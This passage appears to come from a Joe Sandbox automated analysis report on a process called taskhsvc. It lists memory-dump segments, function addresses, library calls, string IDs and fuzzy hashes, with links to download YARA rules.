                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: PolicyProcess__stack_chk_failtime
                                                                                                                          • String ID: 0$D$x
                                                                                                                          • API String ID: 1946266147-2737688380
                                                                                                                          • Opcode ID: a32f7640cd479e10d1e36da6a7b78081b024ad99e8daec56e446d6e000dc55f7
                                                                                                                          • Instruction ID: 7f02de958ab0712ae0601ec66024dac61406fbdffa857d79d0bc485b5d0e89fd
                                                                                                                          • Opcode Fuzzy Hash: a32f7640cd479e10d1e36da6a7b78081b024ad99e8daec56e446d6e000dc55f7
                                                                                                                          • Instruction Fuzzy Hash: A94137B0A083558FCB00FFA9C58569EBBF4FF44314F11896CE494AB241E774E8458F62
                                                                                                                          Function 00BE56C3 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 210COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 00C3F792: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,00C26074), ref: 00C3F7B2
                                                                                                                          • time.MSVCRT ref: 00BE56F9
                                                                                                                            • Part of subcall function 00D4545C: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,00BEA788), ref: 00D45486
                                                                                                                            • Part of subcall function 00C28197: __stack_chk_fail.LIBSSP-0 ref: 00C28216
                                                                                                                          • free.MSVCRT ref: 00BE58EB
                                                                                                                          • free.MSVCRT ref: 00BE59A4
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00BE59FE
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$free$time
                                                                                                                          • String ID: c$t
                                                                                                                          • API String ID: 3961263387-139623253
                                                                                                                          • Opcode ID: 11d25cff5e7bffca675bd5b5f34a807f3c3100d3ea6d38b4fa9655671fcc2218
                                                                                                                          • Instruction ID: 6e73c3754c948aa2311540e3ea5511c87e9641ba9a6dfdce3626dc2ad05613ca
                                                                                                                          • Opcode Fuzzy Hash: 11d25cff5e7bffca675bd5b5f34a807f3c3100d3ea6d38b4fa9655671fcc2218
                                                                                                                          • Instruction Fuzzy Hash: 819117B4A08305CFDB50EFAAD9857AEBBF1EB48314F008569E988E7351E7349845CF61
                                                                                                                          Function 00C49FAA Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 159COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: free$__stack_chk_fail
                                                                                                                          • String ID: <NULL>$\:
                                                                                                                          • API String ID: 3445780955-2236001349
                                                                                                                          • Opcode ID: 835b7c590cace76dfff860d464b1ef1b026bb04b1ce0cb43f503ea717ee59548
                                                                                                                          • Instruction ID: 489e06ed54e70a257dd39d55b0a1f8dd3651826415536691c232e56c1a1fdef4
                                                                                                                          • Opcode Fuzzy Hash: 835b7c590cace76dfff860d464b1ef1b026bb04b1ce0cb43f503ea717ee59548
                                                                                                                          • Instruction Fuzzy Hash: 5771B6B490420ADFDB10DFA9C5857AEBBF0FF48305F108819E8A5AB340D7799A45CF62
                                                                                                                          Function 00D062A9 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 124COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: abort$__stack_chk_failfree
                                                                                                                          • String ID: P,$h"
                                                                                                                          • API String ID: 3331017156-2798968069
                                                                                                                          • Opcode ID: 0d405b0d5fa2a5e2f88436225459d1e0534d9de6e6e6c19556ecc5cf5d2f35cb
                                                                                                                          • Instruction ID: cf400c9b67802bbdf503a28fb1354c8b77e661b77959e5161c0694445369249f
                                                                                                                          • Opcode Fuzzy Hash: 0d405b0d5fa2a5e2f88436225459d1e0534d9de6e6e6c19556ecc5cf5d2f35cb
                                                                                                                          • Instruction Fuzzy Hash: 635170B4A053059FCB00EFA9C5856AEBBF0BF48304F159869E998EB351D778D944CF22
                                                                                                                          Function 00C4990B Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 92COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
